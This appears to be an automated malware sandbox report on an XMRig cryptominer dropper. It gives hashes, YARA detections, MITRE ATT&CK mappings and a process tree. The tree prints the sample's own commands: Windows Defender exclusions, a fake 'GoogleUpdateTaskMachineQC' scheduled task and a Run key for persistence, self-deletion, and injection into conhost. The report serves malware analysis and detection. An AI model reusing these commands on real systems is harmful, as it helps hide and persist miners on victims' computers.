xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
472s
max time network
1787s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
24/01/2024, 17:15

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General

Target
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Size 2.0MB
Sample240124-vstf4aecaj
SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
MD5 a16a669a09bf158058b83e04e69fe38e
SHA1 f6c94763850d9e590d86057139e8895a7aacdeea
SHA512 658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 3028 created 1352	3028	Gu3PdXt79NF7EJXJ.exe	11
PID 3028 created 1352	3028	Gu3PdXt79NF7EJXJ.exe	11
PID 3028 created 1352	3028	Gu3PdXt79NF7EJXJ.exe	11
PID 3028 created 1352	3028	Gu3PdXt79NF7EJXJ.exe	11
PID 2596 created 1352	2596	updater.exe	11
PID 2596 created 1352	2596	updater.exe	11
PID 2596 created 1352	2596	updater.exe	11
PID 2596 created 1352	2596	updater.exe	11
PID 2840 created 1352	2840	conhost.exe	11
PID 2596 created 1352	2596	updater.exe	11

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 29 IoCs

miner

resource	yara_rule
behavioral13/memory/1732-70-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1732-72-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1732-76-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1732-78-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1732-80-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1732-82-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1732-84-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1732-86-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1732-88-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1732-90-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1732-92-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1732-94-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1732-96-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1732-98-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1732-100-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1732-102-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1732-104-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1732-106-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1732-108-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1732-110-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1732-112-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1732-114-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1732-116-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1732-118-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1732-120-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1732-122-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1732-124-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1732-126-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1732-128-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2444	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
2596	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
1848	taskeng.exe

UPX packed file 30 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral13/memory/1732-65-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1732-70-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1732-72-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1732-76-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1732-78-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1732-80-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1732-82-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1732-84-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1732-86-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1732-88-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1732-90-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1732-92-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1732-94-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1732-96-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1732-98-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1732-100-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1732-102-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1732-104-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1732-106-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1732-108-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1732-110-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1732-112-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1732-114-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1732-116-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1732-118-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1732-120-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1732-122-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1732-124-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1732-126-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1732-128-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2596 set thread context of 2840	2596	updater.exe	52
PID 2596 set thread context of 1732	2596	updater.exe	53

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Chrome\updater.exe	Gu3PdXt79NF7EJXJ.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2872	schtasks.exe
2524	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1564	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 3026ac97b74fda01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
3028	Gu3PdXt79NF7EJXJ.exe
3028	Gu3PdXt79NF7EJXJ.exe
756	powershell.exe
3028	Gu3PdXt79NF7EJXJ.exe
3028	Gu3PdXt79NF7EJXJ.exe
2572	powershell.exe
3028	Gu3PdXt79NF7EJXJ.exe
3028	Gu3PdXt79NF7EJXJ.exe
3028	Gu3PdXt79NF7EJXJ.exe
3028	Gu3PdXt79NF7EJXJ.exe
2604	powershell.exe
2596	updater.exe
2596	updater.exe
1452	powershell.exe
2596	updater.exe
2596	updater.exe
1860	powershell.exe
2596	updater.exe
2596	updater.exe
2596	updater.exe
2596	updater.exe
2840	conhost.exe
2840	conhost.exe
2596	updater.exe
2596	updater.exe

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	756	powershell.exe
Token: SeDebugPrivilege	2572	powershell.exe
Token: SeDebugPrivilege	2604	powershell.exe
Token: SeDebugPrivilege	1452	powershell.exe
Token: SeDebugPrivilege	1860	powershell.exe
Token: SeDebugPrivilege	2596	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1564	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1564	WMIC.exe
Token: SeSecurityPrivilege	1564	WMIC.exe
Token: SeTakeOwnershipPrivilege	1564	WMIC.exe
Token: SeLoadDriverPrivilege	1564	WMIC.exe
Token: SeSystemtimePrivilege	1564	WMIC.exe
Token: SeBackupPrivilege	1564	WMIC.exe
Token: SeRestorePrivilege	1564	WMIC.exe
Token: SeShutdownPrivilege	1564	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1564	WMIC.exe
Token: SeUndockPrivilege	1564	WMIC.exe
Token: SeManageVolumePrivilege	1564	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1564	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1564	WMIC.exe
Token: SeSecurityPrivilege	1564	WMIC.exe
Token: SeTakeOwnershipPrivilege	1564	WMIC.exe
Token: SeLoadDriverPrivilege	1564	WMIC.exe
Token: SeSystemtimePrivilege	1564	WMIC.exe
Token: SeBackupPrivilege	1564	WMIC.exe
Token: SeRestorePrivilege	1564	WMIC.exe
Token: SeShutdownPrivilege	1564	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1564	WMIC.exe
Token: SeUndockPrivilege	1564	WMIC.exe
Token: SeManageVolumePrivilege	1564	WMIC.exe
Token: SeLockMemoryPrivilege	1732	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2572 wrote to memory of 2872	2572	powershell.exe	32
PID 2572 wrote to memory of 2872	2572	powershell.exe	32
PID 2572 wrote to memory of 2872	2572	powershell.exe	32
PID 2444 wrote to memory of 2536	2444	cmd.exe	33
PID 2444 wrote to memory of 2536	2444	cmd.exe	33
PID 2444 wrote to memory of 2536	2444	cmd.exe	33
PID 2604 wrote to memory of 2660	2604	powershell.exe	39
PID 2604 wrote to memory of 2660	2604	powershell.exe	39
PID 2604 wrote to memory of 2660	2604	powershell.exe	39
PID 1848 wrote to memory of 2596	1848	taskeng.exe	40
PID 1848 wrote to memory of 2596	1848	taskeng.exe	40
PID 1848 wrote to memory of 2596	1848	taskeng.exe	40
PID 1860 wrote to memory of 2524	1860	powershell.exe	45
PID 1860 wrote to memory of 2524	1860	powershell.exe	45
PID 1860 wrote to memory of 2524	1860	powershell.exe	45
PID 2596 wrote to memory of 2840	2596	updater.exe	52
PID 1996 wrote to memory of 1564	1996	cmd.exe	46
PID 1996 wrote to memory of 1564	1996	cmd.exe	46
PID 1996 wrote to memory of 1564	1996	cmd.exe	46
PID 2596 wrote to memory of 1732	2596	updater.exe	53

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1352
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Gu3PdXt79NF7EJXJ.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Gu3PdXt79NF7EJXJ.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:3028
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:756
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2572
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2872
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Gu3PdXt79NF7EJXJ.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2444
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2604
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:2660
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1452
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1860
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2524
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:1516
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:1996
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:2840
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1732

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:2536

C:\Windows\system32\taskeng.exe
taskeng.exe {4CA612AE-223D-42F2-B4EB-3BA476DFF398} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1848
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2596

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1564

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 1.6MB
SHA256 1537ea4599500888c75a6d382d6d6d4f4b437c3a43bed28d1f34cd69a6c6505c
MD5 7ff73cf64c17c7c9c1cb1214d79798da
SHA1 363dc2303edef87b946d03d3be01af9c5c002d50
SHA512 6d2becae72ff2270cd3f82d9aa9e24c4e4f75ba5a4840fc53edf9830e5a7025aee05ae3a38f5a9210c276af287b3e7ea0e9c69c0681459f36265a7235694fdc6
SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64g:rxAEcp9ueXit9WAQ0YW6
MD5 SHA1 SHA512 SSDEEP

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updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 1.7MB
SHA256 c1afc9395a10951a65cdb26635133f9fdcc69ca42a7ca49274d0f3afc832e038
MD5 8e057a5f5706f5c0cd43e2cdf1524f68
SHA1 15e104048a9610d2ab3088f9b85b55aacac52c07
SHA512 1764ecf53d529f228eed9d1b17a1e130aa9ad186a75fcbfe1064e37713723f280fe0bac37761bc439669e2af1056fee78383bc21061c46c603d12ea7623e8683
SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64aneM:rxAEcp9ueXit9WAQ0YWu/
MD5 SHA1 SHA512 SSDEEP

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g.log

Path C:\Program Files\Google\Libs\g.log
Size 198B
SHA256 8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
MD5 37dd19b2be4fa7635ad6a2f3238c4af1
SHA1 e5b2c034636b434faee84e82e3bce3a3d3561943
SHA512 86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
MD5 SHA1 SHA512

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590aee7bdd69b59b.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Size 7KB
SHA256 97d2e3412ba95e91807cd459d6fd586d5e5c69f88ca9664b6319e2addc87ef55
MD5 c4365fd9143af299d0435799c6c45082
SHA1 edaf6cd0596828f87b58d2c38d0c799efb23a0eb
SHA512 d2d1162cee56e948bcef0bbad5b3ba02cb6633e9f9427d4c1d89b106bb8c2967e3606d7d1385b9bc1dec7eb9e36a2ce7bfd0e352f508931b48ff5a87061a6402
SSDEEP 96:8+kiCVM8vdnqvsqvJCwor+kiCVM8vdnqvsEHyqvJCwor92sRBdQHSb7B4dXlUVi:rk/JUoCk/JAHnor9Lr/b7Bsl
MD5 SHA1 SHA512 SSDEEP

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updater.exe

Path \Program Files\Google\Chrome\updater.exe
Size 2.0MB
SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
MD5 a16a669a09bf158058b83e04e69fe38e
SHA1 f6c94763850d9e590d86057139e8895a7aacdeea
SHA512 658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
MD5 SHA1 SHA512 SSDEEP

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memory/756-12-0x000007FEF5B90000-0x000007FEF652D000-memory.dmp

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memory/756-5-0x000000001B6E0000-0x000000001B9C2000-memory.dmp

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memory/756-11-0x00000000029B0000-0x0000000002A30000-memory.dmp

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memory/756-9-0x000007FEF5B90000-0x000007FEF652D000-memory.dmp

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memory/756-7-0x000007FEF5B90000-0x000007FEF652D000-memory.dmp

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memory/756-8-0x00000000029B0000-0x0000000002A30000-memory.dmp

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memory/756-6-0x00000000026A0000-0x00000000026A8000-memory.dmp

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memory/756-10-0x00000000029B0000-0x0000000002A30000-memory.dmp

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memory/1452-50-0x000007FEF51F0000-0x000007FEF5B8D000-memory.dmp

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memory/1452-48-0x0000000000D10000-0x0000000000D90000-memory.dmp

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memory/1452-47-0x000007FEF51F0000-0x000007FEF5B8D000-memory.dmp

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memory/1452-46-0x0000000000D10000-0x0000000000D90000-memory.dmp

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memory/1452-45-0x000007FEF51F0000-0x000007FEF5B8D000-memory.dmp

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memory/1452-49-0x0000000000D10000-0x0000000000D90000-memory.dmp

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memory/1732-98-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1732-92-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1732-106-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1732-104-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1732-102-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1732-100-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1732-74-0x0000000000410000-0x0000000000430000-memory.dmp

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memory/1732-96-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1732-110-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1732-112-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1732-94-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1732-114-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1732-116-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1732-118-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1732-120-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1732-122-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1732-124-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1732-108-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1732-90-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1732-88-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1732-86-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1732-84-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1732-82-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1732-80-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1732-126-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1732-128-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1732-65-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1732-78-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1732-66-0x00000000000B0000-0x00000000000D0000-memory.dmp

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memory/1732-67-0x00000000007B0000-0x00000000007D0000-memory.dmp

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memory/1732-68-0x0000000000410000-0x0000000000430000-memory.dmp

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memory/1732-76-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1732-70-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1732-72-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1732-73-0x00000000007B0000-0x00000000007D0000-memory.dmp

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memory/1860-56-0x00000000013B0000-0x0000000001430000-memory.dmp

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memory/1860-55-0x00000000013B0000-0x0000000001430000-memory.dmp

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memory/1860-51-0x000007FEF5B90000-0x000007FEF652D000-memory.dmp

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memory/1860-52-0x00000000013B0000-0x0000000001430000-memory.dmp

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memory/1860-57-0x000007FEF5B90000-0x000007FEF652D000-memory.dmp

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memory/1860-53-0x000007FEF5B90000-0x000007FEF652D000-memory.dmp

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memory/1860-54-0x00000000013B0000-0x0000000001430000-memory.dmp

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memory/2572-25-0x00000000027E0000-0x0000000002860000-memory.dmp

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memory/2572-26-0x000007FEF51F0000-0x000007FEF5B8D000-memory.dmp

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memory/2572-18-0x000000001B4A0000-0x000000001B782000-memory.dmp

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memory/2572-19-0x0000000002250000-0x0000000002258000-memory.dmp

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memory/2572-20-0x000007FEF51F0000-0x000007FEF5B8D000-memory.dmp

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memory/2572-21-0x00000000027E0000-0x0000000002860000-memory.dmp

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memory/2572-22-0x000007FEF51F0000-0x000007FEF5B8D000-memory.dmp

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memory/2572-23-0x00000000027E0000-0x0000000002860000-memory.dmp

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memory/2572-24-0x00000000027E0000-0x0000000002860000-memory.dmp

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memory/2596-64-0x000000013FD10000-0x000000013FF21000-memory.dmp

